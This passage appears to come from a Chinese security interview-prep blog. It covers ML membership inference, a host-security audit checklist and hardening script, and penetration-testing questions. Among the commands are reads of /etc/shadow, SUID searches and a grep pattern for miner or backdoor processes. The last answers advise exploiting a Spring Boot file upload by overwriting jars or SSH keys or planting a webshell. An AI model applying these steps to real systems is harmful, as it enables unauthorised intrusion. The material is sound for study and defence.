def membership_inference(model, sample, threshold=0.9):
confidence = model.predict_proba(sample)
# 如果模型对样本置信度很高,可能该样本在训练集中
return max(confidence) > threshold

# 防护措施:
# - 对抗训练:在训练中加入对抗样本
# - 差分隐私:在训练中添加噪声
# - 模型水印:保护知识产权
# - 输入检测:检测对抗样本

20. 主机安全

面试问题: 主机安全需要关注哪些方面?

参考答案:

bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# 主机安全检查清单:

# 1. 系统漏洞检查
# 检查未打补丁的漏洞
sudo apt list --upgradable # Ubuntu
yum check-update # CentOS

# 2. 账户安全审计
# 检查空密码账户
sudo awk -F: '($2 == "") {print $1}' /etc/shadow

# 检查sudo权限用户
sudo grep -Po '^sudo.+:\K.*$' /etc/group

# 3. 服务安全配置
# 检查不必要的服务
sudo systemctl list-unit-files --state=enabled

# 检查网络监听端口
sudo netstat -tulpn | grep LISTEN

# 4. 文件权限检查
# 检查SUID文件(可能提权)
find / -perm -4000 -type f 2>/dev/null

# 检查世界可写文件
find / -perm -0002 -type f ! -path "/proc/*" 2>/dev/null

# 5. 日志审计配置
# 检查系统日志配置
sudo cat /etc/rsyslog.conf

# 检查auditd审计规则
sudo auditctl -l

# 6. 入侵检测
# 检查可疑进程
ps aux | grep -E '(miner|backdoor|shell)'

# 检查网络连接
sudo netstat -anp | grep ESTABLISHED

# 7. 安全加固脚本示例
#!/bin/bash
# 自动安全加固脚本

# 更新系统
apt update && apt upgrade -y

# 配置防火墙
ufw enable
ufw default deny incoming
ufw allow ssh

# 禁用root SSH登录
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config

# 设置密码策略
echo "password requisite pam_cracklib.so retry=3 minlen=8" >> /etc/pam.d/common-password

# 启用fail2ban
apt install fail2ban -y
systemctl enable fail2ban

泛联新安

不出网的springboot有一个任意文件上传该如何深入利用

确定上传位置和权限,

  1. 看是否可以覆盖原有文件,替换jar包,或者class文件,配置文件等,或者系统的ssh私钥
  2. 看是否可以上传并解析为webshell,

如果在渗透过程中没有办法发现漏洞,该怎么办

  1. 重新审视整个过程,确认是否都测试到位,信息搜集到位,更换工具,检查paylaod是否正确。
  2. 在合理的范围内,看是否可以从其他角度攻击,比如钓鱼,近源,供应链
  3. 摇人
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
访客数 访问量